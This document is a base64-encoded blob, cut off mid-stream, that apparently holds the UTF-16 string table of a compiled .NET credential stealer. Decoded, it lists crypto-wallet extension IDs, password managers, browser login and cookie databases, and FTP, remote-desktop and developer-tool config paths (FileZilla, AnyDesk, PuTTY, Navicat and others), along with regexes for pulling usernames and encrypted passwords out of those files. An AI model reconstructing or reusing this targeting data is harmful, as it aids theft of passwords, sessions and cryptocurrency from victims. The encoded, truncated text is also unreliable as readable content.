GwAZQB0AABBZQBiAGYAaQBkAHAAcABsAGgAYQBiAGUAZQBkAHAAbgBoAGoAbgBvAGIAZwBoAG8AawBwAGkAaQBvAG8AbABqAAAlQwBhAHIAYQB4ACAARABlAG0AbwBuACAAVwBhAGwAbABlAHQAAEFtAGQAagBtAGYAZABmAGYAZABjAG0AbgBvAGIAbABpAGcAbgBtAGcAcABvAG0AbQBiAGUAZgBhAGQAZgBmAGQAACNMAGUAYQBwACAAVABlAHIAcgBhACAAVwBhAGwAbABlAHQAAEFhAGkAagBjAGIAZQBkAG8AaQBqAG0AZwBuAGwAbQBqAGUAZQBnAGoAYQBnAGwAbQBlAHAAYgBtAHAAawBwAGkAABlLAGUAcABsAHIAIABXAGEAbABsAGUAdAAAQWQAbQBrAGEAbQBjAGsAbgBvAGcAawBnAGMAZABmAGgAaABiAGQAZABjAGcAaABhAGMAaABrAGUAagBlAGEAcAAAKUIAaQBuAGEAbgBjAGUAIABDAGgAYQBpAG4AIABXAGEAbABsAGUAdAAAQWYAaABiAG8AaABpAG0AYQBlAGwAYgBvAGgAcABqAGIAYgBsAGQAYwBuAGcAYwBuAGEAcABuAGQAbwBkAGoAcAAAGVkAbwByAG8AaQAgAFcAYQBsAGwAZQB0AABBZgBmAG4AYgBlAGwAZgBkAG8AZQBpAG8AaABlAG4AawBqAGkAYgBuAG0AYQBkAGoAaQBlAGgAagBoAGEAagBiAAAZUgBhAGIAYgB5ACAAVwBhAGwAbABlAHQAAEFhAGMAbQBhAGMAbwBkAGsAagBiAGQAZwBtAG8AbABlAGUAYgBvAGwAbQBkAGoAbwBuAGkAbABrAGQAYgBjAGgAABdUAG8AawBlAG4AUABvAGMAawBlAHQAAEFtAGYAZwBjAGMAagBjAGgAaQBoAGYAawBrAGkAbgBkAGYAcABwAG4AYQBvAG8AZQBjAGcAZgBuAGUAaQBpAGkAADFTAGEAZgBlAFAAYQBsACAARQB4AHQAZQBuAHMAaQBvAG4AIABXAGEAbABsAGUAdAAAQWwAZwBtAHAAYwBwAGcAbABwAG4AZwBkAG8AYQBsAGIAZwBlAG8AbABkAGUAYQBqAGYAYwBsAG4AaABhAGYAYQAAI00AYQBnAGkAYwAgAEUAZABlAG4AIABXAGEAbABsAGUAdAAAQW0AawBwAGUAZwBqAGsAYgBsAGsAawBlAGYAYQBjAGYAbgBtAGsAYQBqAGMAagBtAGEAYgBpAGoAaABjAGwAZwAAC1IAbwBuAGkAbgAAQWYAbgBqAGgAbQBrAGgAaABtAGsAYgBqAGsAawBhAGIAbgBkAGMAbgBuAG8AZwBhAGcAbwBnAGIAbgBlAGUAYwAAQWEAZQBhAGMAaABrAG4AbQBlAGYAcABoAGUAcABjAGMAaQBvAG4AYgBvAG8AaABjAGsAbwBuAG8AZQBlAG0AZwAAGVQAZQByAHIAYQBTAHQAYQB0AGkAbwBuAABBYQBpAGkAZgBiAG4AYgBmAG8AYgBwAG0AZQBlAGsAaQBwAGgAZQBlAGkAagBpAG0AZABwAG4AbABwAGcAcABwAAANVwBvAG0AYgBhAHQAAEFhAG0AawBtAGoAagBtAG0AZgBsAGQAZABvAGcAbQBoAHAAagBsAG8AaQBtAGkAcABiAG8AZgBuAGYAagBpAGgAAAlOAGEAbQBpAABBbABwAGYAYwBiAGoAawBuAGkAagBwAGUAZQBpAGwAbABpAGYAbgBrAGkAawBnAG4AYwBpAGsAZwBmAGgAZABvAAALWABEAEUARgBJAABBaABtAGUAbwBiAG4AZgBuAGYAYwBtAGQAawBkAGMAbQBsAGIAbABnAGEAZwBtAGYAcABmAGIAbwBpAGUAYQBmAAAJVAByAG8AbgAAQWkAYgBuAGUAagBkAGYAagBtAG0AawBwAGMAbgBsAHAAZQBiAGsAbABtAG4AawBvAGUAbwBpAGgAbwBmAGUAYwAAG0EAdQB0AGgAZQBuAHQAaQBjAGEAdABvAHIAAEFiAGgAZwBoAG8AYQBtAGEAcABjAGQAcABiAG8AaABwAGgAaQBnAG8AbwBvAGEAZABkAGkAbgBwAGsAYgBhAGkAAClHAG8AbwBnAGwAZQAgAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABvAHIAAEFrAGgAYwBvAGQAaABsAGYAawBwAG0AaABpAGIAaQBjAGQAagBqAGIAbABuAGsAZwBpAG0AZABlAHAAZwBuAGQAAC9NAGkAYwByAG8AcwBvAGYAdAAgAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABvAHIAAEFiAGYAYgBkAG4AYgBwAGkAYgBnAG4AZABwAGoAZgBoAG8AbgBrAGYAbABwAGsAaQBqAGYAYQBwAG0AbwBtAG4AAAtBAHUAdABoAHkAAEFnAGoAZgBmAGQAYgBqAG4AZABtAGMAYQBmAGUAbwBlAGgAZwBkAGwAZABvAGIAZwBqAG0AbABlAHAAYwBhAGwAABVEAHUAbwAgAE0AbwBiAGkAbABlAABBZQBpAGQAbABpAGMAagBsAGsAYQBpAGUAZgBkAGIAZwBtAGQAZQBwAG0AbQBpAGMAcABiAGcAZwBtAGgAbwBqAAARTwBUAFAAIABBAHUAdABoAABBYgBvAGIAZgBlAGoAZgBkAGwAaABuAGEAYgBnAGcAbABvAG0AcABpAG8AYwBsAG4AZABqAGUAagBvAGwAYwBoAAAPRgByAGUAZQBPAFQAUAAAQWUAbABvAGsAZgBtAG0AbQBqAGIAYQBkAHAAZwBkAGoAbQBnAGcAbABvAGMAYQBwAGQAYwBrAGQAYwBwAGsAbgAAJ0EAZQBnAGkAcwAgAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABvAHIAAEFwAHAAZABqAGwAawBmAGsAZQBkAG0AaQBkAG0AYwBsAGgAYQBrAGYAbgBjAHAAZgBkAG0AZABnAG0AagBwAG0AAC1MAGEAcwB0AFAAYQBzAHMAIABBAHUAdABoAGUAbgB0AGkAYwBhAHQAbwByAABBYwBmAG8AYQBqAGMAYwBqAGkAYgBrAGoAaABiAGQAagBuAHAAawBiAGEAbgBhAG4AYgBlAGoAcABrAGsAagBiAAARRABhAHMAaABsAGEAbgBlAABBZgBsAGkAawBqAGwAcABnAG4AcABjAGoAZABpAGUAbgBvAG8AagBtAGcAbABpAGUAYwBoAG0AbQBoAGUAZQBrAAANSwBlAGUAcABlAHIAAEFnAG8AZgBoAGsAbABnAGQAbgBiAG4AcABjAGQAaQBnAGQAZwBrAGcAZgBvAGIAaABoAGcAaABqAG0AbQBrAGoAABFSAG8AYgBvAEYAbwByAG0AAEFoAHAAcABtAGMAaABhAGMAaABmAGwAbwBtAGsAZQBqAGIAaABvAGYAbwBiAGcAYQBuAGEAcABvAGoAagBvAGwAAA9LAGUAZQBQAGEAcwBzAABBbABiAGYAZQBhAGgAZABmAGQAawBpAGIAaQBuAGkAbgBqAGcAZQBqAGoAZwBwAGQAYQBmAGUAbwBwAGYAbABiAAATSwBlAGUAUABhAHMAcwBYAEMAAEFrAGcAZQBvAGgAbABlAGIAcABqAGcAYwBmAGkAaQBkAGYAaABoAGQAbABuAG4AawBoAGUAZgBhAGoAbQBjAGEAABNCAGkAdAB3AGEAcgBkAGUAbgAAQWkAbgBsAGoAYQBsAGoAaQBmAGYAawBkAGcAbQBsAG4AZABqAGsAZABpAGUAcABnAGgAcABvAGwAYwBwAGsAaQAAEU4AbwByAGQAUABhAHMAcwAAQW4AagBnAG4AbABrAGgAYwBqAGcAbQBqAGYAbgBmAGEAaABkAG0AZgBrAGEAbABwAGoAYwBuAGUAZQBiAHAAbAAAEUwAYQBzAHQAUABhAHMAcwAAQWcAYQBiAGUAZABmAGsAZwBuAGIAZwBsAGYAYgBuAHAAbABmAHAAagBkAGQAZwBmAG4AYgBpAGIAawBtAGIAYgAAD3MAdABvAHIAYQBnAGUAAA9kAGUAZgBhAHUAbAB0AAAfTQBlAHQAYQBtAGEAcwBrACAAVwBhAGwAbABlAHQAAEk3AGQANgAxAGIANQA5ADIALQBlADQAOAA4AC0ANABmADUANQAtAGIAZgAxADIALQA4AGQAMABhAGUANQA1AGYAZAAxADAAMAABSWIAYgAyADkAZQA1ADcANQAtADkANAA2AGUALQA0AGUANgA5AC0AYgA5ADUANgAtAGYANwAzAGEAZQBjADAAYQA5ADkAMgA3AAFJZQAyADEAMgBhADEANwA2AC0AYQAzADMAMQAtADQANgAyAGMALQBhADAAMgA0AC0AZAAyAGYAOQAwADIANwBmADEANQBmAGMAAUlhADAAMgBiADIAYQBhAGIALQA1AGQAYwBhAC0ANAA2ADQAOQAtADkAMwBjAGYALQBmADYAYQAzADQAOAA2ADAAZgBiAGQANQABF2wAbwBnAGkAbgBzAC4AagBzAG8AbgAAD2sAZQB5ADQALgBkAGIAAA9rAGUAeQAzAC4AZABiAACAryIAaABvAHMAdABuAGEAbQBlACIAOgBcAHMAKgAiACgALgAqAD8AKQAiAC4AKgA/ACIAZQBuAGMAcgB5AHAAdABlAGQAVQBzAGUAcgBuAGEAbQBlACIAOgBcAHMAKgAiACgALgAqAD8AKQAiAC4AKgA/ACIAZQBuAGMAcgB5AHAAdABlAGQAUABhAHMAcwB3AG8AcgBkACIAOgBcAHMAKgAiACgALgAqAD8AKQAiAAAdYwBvAG8AawBpAGUAcwAuAHMAcQBsAGkAdABlAAAXbQBvAHoAXwBjAG8AbwBrAGkAZQBzAAAlZgBvAHIAbQBoAGkAcwB0AG8AcgB5AC4AcwBxAGwAaQB0AGUAAB9tAG8AegBfAGYAbwByAG0AaABpAHMAdABvAHIAeQAAD0IAcgBvAHcAcwBlAHIAABVVAHMAZQByAC0AQQBnAGUAbgB0AAEdVQBzAGUAcgBBAGcAZQBuAHQAcwAuAHQAeAB0AAAxTQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAAAICbKQAgAEEAcABwAGwAZQBXAGUAYgBLAGkAdAAvADUAMwA3AC4AMwA2ACAAKABLAEgAVABNAEwALAAgAGwAaQBrAGUAIABHAGUAYwBrAG8AKQAgAEMAaAByAG8AbQBlAC8AMQAwADYALgAwAC4ANQAyADQAOQAuADEAMQA5ACAAUwBhAGYAYQByAGkALwA1ADMANwAuADMANgAgAAADLwAAYSkAIABBAHAAcABsAGUAVwBlAGIASwBpAHQALwA1ADMANwAuADMANgAgACgASwBIAFQATQBMACwAIABsAGkAawBlACAARwBlAGMAawBvACkAIABDAGgAcgBvAG0AZQAvAAAdIABTAGEAZgBhAHIAaQAvADUAMwA3AC4AMwA2AABHQwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwBcAE8AcABlAHIAYQBcAGwAYQB1AG4AYwBoAGUAcgAuAGUAeABlAABRQwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwBcAEEAcABwAGwAZQBcAFMAYQBmAGEAcgBpAFwAUwBhAGYAYQByAGkALgBlAHgAZQAAWUMAOgBcAFAAcgBvAGcAcgBhAG0AIABGAGkAbABlAHMAXABNAG8AegBpAGwAbABhACAARgBpAHIAZQBmAG8AeABcAGYAaQByAGUAZgBvAHgALgBlAHgAZQAAa0MAOgBcAFAAcgBvAGcAcgBhAG0AIABGAGkAbABlAHMAXABHAG8AbwBnAGwAZQBcAEMAaAByAG8AbQBlAFwAQQBwAHAAbABpAGMAYQB0AGkAbwBuAFwAYwBoAHIAbwBtAGUALgBlAHgAZQAAeUMAOgBcAFAAcgBvAGcAcgBhAG0AIABGAGkAbABlAHMAIAAoAHgAOAA2ACkAXABNAGkAYwByAG8AcwBvAGYAdABcAEUAZABnAGUAXABBAHAAcABsAGkAYwBhAHQAaQBvAG4AXABtAHMAZQBkAGcAZQAuAGUAeABlAACAhUMAOgBcAFAAcgBvAGcAcgBhAG0AIABGAGkAbABlAHMAXABCAHIAYQB2AGUAUwBvAGYAdAB3AGEAcgBlAFwAQgByAGEAdgBlAC0AQgByAG8AdwBzAGUAcgBcAEEAcABwAGwAaQBjAGEAdABpAG8AbgBcAGIAcgBhAHYAZQAuAGUAeABlAAETQwA6AFwAVQBzAGUAcgBzAFwAAHdcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABZAGEAbgBkAGUAeABcAFkAYQBuAGQAZQB4AEIAcgBvAHcAcwBlAHIAXABBAHAAcABsAGkAYwBhAHQAaQBvAG4AXABiAHIAbwB3AHMAZQByAC4AZQB4AGUAAAtPAHAAZQByAGEAAA1TAGEAZgBhAHIAaQAAD0YAaQByAGUAZgBvAHgAAAtCAHIAYQB2AGUAAA1ZAGEAbgBkAGUAeAAAR0MAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAEEAbgB5AEQAZQBzAGsAXABzAGUAcgB2AGkAYwBlAC4AYwBvAG4AZgAAKUEAbgB5AEQAZQBzAGsAXABzAGUAcgB2AGkAYwBlAC4AYwBvAG4AZgAAD0EAbgB5AEQAZQBzAGsAAA9DAG8AcgBlAEYAVABQAAA9UwBPAEYAVABXAEEAUgBFAFwARgBUAFAAVwBhAHIAZQBcAEMATwBSAEUARgBUAFAAXABTAGkAdABlAHMAAAlIAG8AcwB0AAAJVQBzAGUAcgAABVAAVwAAC1UAcgBsADoAIAAAHToAMgAxAAoAVQBzAGUAcgBuAGEAbQBlADoAIAAAK0YAVABQAC8AQwBvAHIAZQBGAFQAUAAvAEgAbwBzAHQAcwAuAHQAeAB0AAAhaABkAGYAegBwAHkAcwB2AHAAegBpAG0AbwByAGgAawAAE0MAeQBiAGUAcgBkAHUAYwBrAAATQwB5AGIAZQByAEQAdQBjAGsAACMuAGMAeQBiAGUAcgBkAHUAYwBrAHAAcgBvAGYAaQBsAGUAAB1GAFQAUAAvAEMAeQBiAGUAcgBEAHUAYwBrAC8AAFFDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABEAHkAbgBcAFUAcABkAGEAdABlAHIAXABjAG8AbgBmAGkAZwAuAGQAeQBuAGQAbgBzAAAjRAB5AG4AXABQAGEAcwBzAHcAbwByAGQAcwAuAHQAeAB0AAAHRAB5AG4AABVVAHMAZQByAE4AYQBtAGUAOgAgAAAZDQAKAFAAYQBzAHMAdwBvAHIAZAA6ACAAABF0ADYASwB6AFgAaABDAGgAABdcAEYAaQBsAGUAWgBpAGwAbABhAFwAACNyAGUAYwBlAG4AdABzAGUAcgB2AGUAcgBzAC4AeABtAGwAAB9zAGkAdABlAG0AYQBuAGEAZwBlAHIALgB4AG0AbAAAE0YAaQBsAGUAWgBpAGwAbABhAAANUwBlAHIAdgBlAHIAAAlQAGEAcwBzAAANZgB0AHAAOgAvAC8AAAM6AAAJUABvAHIAdAAAFwoAVQBzAGUAcgBuAGEAbQBlADoAIAAAHUYAVABQAC8ARgBpAGwAZQBaAGkAbABsAGEALwAAL0YAVABQAC8ARgBpAGwAZQBaAGkAbABsAGEALwBIAG8AcwB0AHMALgB0AHgAdAAAbVMATwBGAFQAVwBBAFIARQBcAEMAbABhAHMAcwBlAHMAXABGAG8AeABtAGEAaQBsAC4AdQByAGwALgBtAGEAaQBsAHQAbwBcAFMAaABlAGwAbABcAG8AcABlAG4AXABjAG8AbQBtAGEAbgBkAAAXRgBvAHgAbQBhAGkAbAAuAGUAeABlAAAPUwB0AG8AcgBhAGcAZQAAD0YAbwB4AE0AYQBpAGwAAAcqAEAAKgAAEUEAYwBjAG8AdQBuAHQAcwAAGUEAYwBjAG8AdQBuAHQALgByAGUAYwAwAAAjQQBjAGMAbwB1AG4AdABfAHsAMAA6AE4AfQAuAHIAZQBjAAARRgBvAHgAbQBhAGkAbABcAAAZXABBAGMAYwBvAHUAbgB0AC4AdAB4AHQAABFFAC0ATQBhAGkAbAA6ACAAATFGAG8AeABtAGEAaQBsAFYAZQByAHMAaQBvAG4ARABlAHQAZQBjAHQAZQBkADoAIAAAGTcALgB4ACAAbwByACAAbABhAHQAZQByAAAHNgAuAHgAABtcAEEAYwBjAG8AdQBuAHQALgByAGUAYwAwAAAPQQBjAGMAbwB1AG4AdAAAF1AATwBQADMAQQBjAGMAbwB1AG4AdAAAEVAAYQBzAHMAdwBvAHIAZAAAGVAATwBQADMAUABhAHMAcwB3AG8AcgBkAAAFNQBBAAAFNwAxAABvQwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwAgACgAeAA4ADYAKQBcAEYAVABQACAAQwBvAG0AbQBhAG4AZABlAHIAIABEAGUAbAB1AHgAZQBcAEYAdABwAGwAaQBzAHQALgB0AHgAdAAAYUMAOgBcAFAAcgBvAGcAcgBhAG0AIABGAGkAbABlAHMAIAAoAHgAOAA2ACkAXABGAFQAUAAgAEMAbwBtAG0AYQBuAGQAZQByAFwARgB0AHAAbABpAHMAdAAuAHQAeAB0AAAnQwA6AFwAYwBmAHQAcABcAEYAdABwAGwAaQBzAHQALgB0AHgAdAAAgJNcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABWAGkAcgB0AHUAYQBsAFMAdABvAHIAZQBcAFAAcgBvAGcAcgBhAG0AIABGAGkAbABlAHMAIAAoAHgAOAA2ACkAXABGAFQAUAAgAEMAbwBtAG0AYQBuAGQAZQByAFwARgB0AHAAbABpAHMAdAAuAHQAeAB0AACAoVwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFYAaQByAHQAdQBhAGwAUwB0AG8AcgBlAFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwAgACgAeAA4ADYAKQBcAEYAVABQACAAQwBvAG0AbQBhAG4AZABlAHIAIABEAGUAbAB1AHgAZQBcAEYAdABwAGwAaQBzAHQALgB0AHgAdAAAGUYAVABQAEMAbwBtAG0AYQBuAGQAZQByAAADMAAABTIAMQAANUYAVABQAC8ARgBUAFAAQwBvAG0AbQBhAG4AZABlAHIALwBIAG8AcwB0AHMALgB0AHgAdAAATVwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABGAFQAUABHAGUAdAB0AGUAcgBcAHMAZQByAHYAZQByAHMALgB4AG0AbAAAOzwAcwBlAHIAdgBlAHIAXABiAFsAXgA+AF0AKgA+ACgALgAqAD8AKQA8AC8AcwBlAHIAdgBlAHIAPgAATTwAcwBlAHIAdgBlAHIAXwBpAHAAPgBcAHMAKgAoAD8APAB2AD4ALgAqAD8AKQBcAHMAKgA8AC8AcwBlAHIAdgBlAHIAXwBpAHAAPgAAVTwAcwBlAHIAdgBlAHIAXwBwAG8AcgB0AD4AXABzACoAKAA/ADwAdgA+AFwAZAArACkAXABzACoAPAAvAHMAZQByAHYAZQByAF8AcABvAHIAdAA+AABpPABzAGUAcgB2AGUAcgBfAHUAcwBlAHIAXwBuAGEAbQBlAD4AXABzACoAKAA/ADwAdgA+AC4AKgA/ACkAXABzACoAPAAvAHMAZQByAHYAZQByAF8AdQBzAGUAcgBfAG4AYQBtAGUAPgAAeTwAcwBlAHIAdgBlAHIAXwB1AHMAZQByAF8AcABhAHMAcwB3AG8AcgBkAD4AXABzACoAKAA/ADwAdgA+AC4AKgA/ACkAXABzACoAPAAvAHMAZQByAHYAZQByAF8AdQBzAGUAcgBfAHAAYQBzAHMAdwBvAHIAZAA+AAATRgBUAFAARwBlAHQAdABlAHIAAAN2AAA3IAA9AD4AIABGAFQAUAAvAEYAVABQAEcAZQB0AHQAZQByAC8ASABvAHMAdABzAC4AdAB4AHQAAC9GAFQAUAAvAEYAVABQAEcAZQB0AHQAZQByAC8ASABvAHMAdABzAC4AdAB4AHQAADlDADoAXABGAFQAUAAgAE4AYQB2AGkAZwBhAHQAbwByAFwARgB0AHAAbABpAHMAdAAuAHQAeAB0AAAbRgBUAFAAIABOAGEAdgBpAGcAYQB0AG8AcgAAPSAAPQA+ACAARgBUAFAALwBGAFQAUABOAGEAdgBpAGcAYQB0AG8AcgAvAEgAbwBzAHQAcwAuAHQAeAB0AAA1RgBUAFAALwBGAFQAUABOAGEAdgBpAGcAYQB0AG8AcgAvAEgAbwBzAHQAcwAuAHQAeAB0AAA5XABEAG8AYwB1AG0AZQBuAHQAcwBcAEYAVABQAFIAdQBzAGgAXABzAGkAdABlAC4AagBzAG8AbgAAMSIAUwBlAHIAdgBlAHIAIgBcAHMAKgA6AFwAcwAqAFwAewAoAC4AKgA/ACkAXAB9AAA7IgBIAG8AcwB0ACIAXABzACoAOgBcAHMAKgAiACgAPwA8AGgAbwBzAHQAPgBbAF4AIgBdACoAKQAiAAAzIgBQAG8AcgB0ACIAXABzACoAOgBcAHMAKgAoAD8APABwAG8AcgB0AD4AXABkACsAKQAAQyIAVQBzAGUAcgBuAGEAbQBlACIAXABzACoAOgBcAHMAKgAiACgAPwA8AHUAcwBlAHIAPgBbAF4AIgBdACoAKQAiAABNIgBCAGEAcwBlADYANABQAGEAcwBzAHcAbwByAGQAIgBcAHMAKgA6AFwAcwAqACIAKAA/ADwAYgA2ADQAPgBbAF4AIgBdACoAKQAiAAAPRgBUAFAAUgB1AHMAaAAACWgAbwBzAHQAAAlwAG8AcgB0AAAHYgA2ADQAADMgAD0APgAgAEYAVABQAC8ARgBUAFAAUgB1AHMAaAAvAEgAbwBzAHQAcwAuAHQAeAB0AAArRgBUAFAALwBGAFQAUABSAHUAcwBoAC8ASABvAHMAdABzAC4AdAB4AHQAAG1cAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwARwBpAHQASAB1AGIAIABEAGUAcwBrAHQAbwBwAFwATABvAGMAYQBsACAAUwB0AG8AcgBhAGcAZQBcAGwAZQB2AGUAbABkAGIAXAAAE0cAaQB0AGgAdQBiAEcAdQBpAAAXXAAuAGcAaQB0AGMAbwBuAGYAaQBnAAApRwBpAHQAaAB1AGIARwB1AGkAXAAuAGcAaQB0AGMAbwBuAGYAaQBnAAATSgBlAHQAQgByAGEAaQBuAHMAABEuAGwAaQBjAGUAbgBzAGUAABVKAGUAdABCAHIAYQBpAG4AcwBcAAA1UwBPAEYAVABXAEEAUgBFAFwATQBvAGIAYQB0AGUAawBcAE0AbwBiAGEAWAB0AGUAcgBtAAARUwBlAHMAcwBpAG8AbgBQAAA5UwBPAEYAVABXAEEAUgBFAFwATQBvAGIAYQB0AGUAawBcAE0AbwBiAGEAWAB0AGUAcgBtAFwAbQAAOVMATwBGAFQAVwBBAFIARQBcAE0AbwBiAGEAdABlAGsAXABNAG8AYgBhAFgAdABlAHIAbQBcAEMAAB1bACoAXQAgAE4AYQBtAGUAOgAgACAAIAAgACAAAB1bACoAXQAgAFUAcwBlAHIAbgBhAG0AZQA6ACAAAB1bACoAXQAgAFAAYQBzAHMAdwBvAHIAZAA6ACAAAICBQQBCAEMARABFAEYARwBIAEkASgBLAEwATQBOAE8AUABRAFIAUwBUAFUAVgBXAFgAWQBaAGEAYgBjAGQAZQBmAGcAaABpAGoAawBsAG0AbgBvAHAAcQByAHMAdAB1AHYAdwB4AHkAegAwADEAMgAzADQANQA2ADcAOAA5ACsALwAAD04AYQB2AGkAYwBhAHQAAAtNAHkAUwBxAGwAABlOAGEAdgBpAGMAYQB0AE0AUwBTAFEATAAAFVMAUQBMACAAUwBlAHIAdgBlAHIAABVOAGEAdgBpAGMAYQB0AE8AcgBhAAANTwByAGEAYwBsAGUAABNOAGEAdgBpAGMAYQB0AFAARwAAC3AAZwBzAHEAbAAAHU4AYQB2AGkAYwBhAHQATQBBAFIASQBBAEQAQgAAD00AYQByAGkAYQBEAEIAACtTAG8AZgB0AHcAYQByAGUAXABQAHIAZQBtAGkAdQBtAFMAbwBmAHQAXAAAEVwAUwBlAHIAdgBlAHIAcwAAEVUAcwBlAHIATgBhAG0AZQAAB1AAdwBkAAAdRABhAHQAYQBiAGEAcwBlAFQAeQBwAGUAOgAgAAAbQwBvAG4AbgBlAGMAdABOAGEAbQBlADoAIAAADUgAbwBzAHQAOgAgAAARTgBhAHYAaQBjAGEAdABcAAAfXABjAG8AbgBuAGUAYwB0AGkAbwBuAC4AdAB4AHQAAAtuAGcAcgBvAGsAABNuAGcAcgBvAGsALgB5AG0AbAAAH04AZwByAG8AawBcAG4AZwByAG8AawAuAHkAbQBsAAALTgBnAHIAbwBrAAA1UwBPAEYAVABXAEEAUgBFAFwAVgBpAHQAYQBsAHcAZQByAGsAcwBcAEQAVQBDAFwAdgA0AAAJQwBLAGUAeQAAB0MASQBEAAApTgBvAEkAcABcAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAuAHQAeAB0AAAJTgBvAEkAcAAAFWMAbABpAGUAbgB0AGkAZAA6ACAAABEKAGwAbwBnAGkAbgA6ACAAACEKAHAAYQBzAHMAdwBvAHIAZAAgAGgAYQBzAGgAOgAgAAAVbwBiAHMALQBzAHQAdQBkAGkAbwABC2IAYQBzAGkAYwAAGXMAZQByAHYAaQBjAGUALgBqAHMAbwBuAAAhcwBlAHIAdgBpAGMAZQAuAGoAcwBvAG4ALgBiAGEAawAAB08AQgBTAAAvTwBCAFMAXABPAEIAUwBfAFMAZQByAHYAaQBjAGUASwBlAHkAcwAuAHQAeAB0AAA9IgBzAGUAdAB0AGkAbgBnAHMAIgBcAHMAKgA6AFwAcwAqAFwAewAoAD8APABzAD4ALgAqAD8AKQBcAH0AADsiAHMAZQByAHYAaQBjAGUAIgBcAHMAKgA6AFwAcwAqACIAKAA/ADwAdgA+AFsAXgAiAF0AKgApACIAADMiAGsAZQB5ACIAXABzACoAOgBcAHMAKgAiACgAPwA8AHYAPgBbAF4AIgBdACoAKQAiAAANUABsAGEAeQBJAHQAABdwAGwAYQB5AGkAdAAuAHQAbwBtAGwAABNwAGwAYQB5AGkAdABfAGcAZwAAJVAAbABhAHkASQB0AFwAcABsAGEAeQBpAHQALgB0AG8AbQBsAAALUAB1AFQAVABZAAANUAB1AFQAVABZAFwAAEFDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwAUAB1AFQAVABZAFwAcAB1AHQAdAB5AC4AbABvAGcAAB9QAHUAVABUAFkAXABwAHUAdAB0AHkALgBsAG8AZwAAR1MAbwBmAHQAdwBhAHIAZQBcAFMAaQBtAG8AbgBUAGEAdABoAGEAbQBcAFAAdQBUAFQAWQBcAFMAZQBzAHMAaQBvAG4AcwAAHVAAdQBUAFQAWQBcAHMAZQBzAHMAaQBvAG4AXwAAQ1IAZQBtAG8AdABlACAARABlAHMAawB0AG8AcAAgAEMAbwBuAG4AZQBjAHQAaQBvAG4AIABNAGEAbgBhAGcAZQByAAAfUgBEAEMATQBhAG4ALgBzAGUAdAB0AGkAbgBnAHMAABsvAC8ARgBpAGwAZQBzAFQAbwBPAHAAZQBuAAANUgBEAEMATQBhAG4AAA9SAEQAQwBNAGEAbgBcAAARLwAvAHMAZQByAHYAZQByAAAZUwBvAHUAcgBjAGUARgBpAGwAZQA6ACAAACVGAG8AdQBuAGQAIABzAGUAcgB2AGUAcgBzADoAIAB7ADAAfQAACW4AYQBtAGUAABdwAHIAbwBmAGkAbABlAE4AYQBtAGUAABF1AHMAZQByAE4AYQBtAGUAAA1kAG8AbQBhAGkAbgAACS0ALQAtAC0AARVIAG8AcwB0AE4AYQBtAGUAOgAgAAAbUAByAG8AZgBpAGwAZQBOAGEAbQBlADoAIAAAJ0QAZQBjAHIAeQBwAHQAZQBkAFAAYQBzAHMAdwBvAHIAZAA6ACAAACFcAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAuAHQAeAB0AABTUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABUAGUAcgBtAGkAbgBhAGwAIABTAGUAcgB2AGUAcgAgAEMAbABpAGUAbgB0AAAHUgBkAHAAAAdSAEQAUAAAD0QAZQBmAGEAdQBsAHQAABlcAEgAaQBzAHQAbwByAHkALgB0AHgAdAAAGVwARABlAGYAYQB1AGwAdAAgAD0APgAgAAAPUwBlAHIAdgBlAHIAcwAAEXsAMAB9ADoAIAB7ADEAfQAAIVwAQwByAGUAZABlAG4AdABpAGEAbABzAC4AdAB4AHQAABlcAFMAZQByAHYAZQByAHMAIAA9AD4AIAAAgMFTAE8ARgBUAFcAQQBSAEUAXABcAFcATwBXADYANAAzADIATgBvAGQAZQBcAFwATQBpAGMAcgBvAHMAbwBmAHQAXABcAFcAaQBuAGQAbwB3AHMAXABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFwAVQBuAGkAbgBzAHQAYQBsAGwAXABcAE8AcgBhAHkAIABTAHUAbgBMAG8AZwBpAG4AIABSAGUAbQBvAHQAZQBDAGwAaQBlAG4AdAAAgIsuAEQARQBGAEEAVQBMAFQAXABcAFMAbwBmAHQAdwBhAHIAZQBcAFwATwByAGEAeQBcAFwAUwB1AG4ATABvAGcAaQBuAFwAXABTAHUAbgBsAG8AZwBpAG4AQwBsAGkAZQBuAHQAXABcAFMAdQBuAGwAbwBnAGkAbgBHAHIAZQBlAG4ASQBuAGYAbwAAgIEuAEQARQBGAEEAVQBMAFQAXABcAFMAbwBmAHQAdwBhAHIAZQBcAFwATwByAGEAeQBcAFwAUwB1AG4ATABvAGcAaQBuAFwAXABTAHUAbgBsAG8AZwBpAG4AQwBsAGkAZQBuAHQAXABcAFMAdQBuAGwAbwBnAGkAbgBJAG4AZgBvAAARUwB1AG4AbABvAGcAaQBuAAAfSQBuAHMAdABhAGwAbABMAG8AYwBhAHQAaQBvAG4AABVjAG8AbgBmAGkAZwAuAGkAbgBpAAAbZgBhAHMAdABjAG8AZABlAD0AKAAuACoAKQAAHWUAbgBjAHIAeQBfAHAAdwBkAD0AKAAuACoAKQAAI3MAdQBuAGwAbwBnAGkAbgBjAG8AZABlAD0AKAAuACoAKQAAIXIAZQBnAGkAcwB0AHIAeQBfAGkAbgBzAHQAYQBsAGwAABtiAGEAcwBlAF8AZgBhAHMAdABjAG8AZABlAAAdYgBhAHMAZQBfAGUAbgBjAHIAeQBfAHAAdwBkAAAjYgBhAHMAZQBfAHMAdQBuAGwAbwB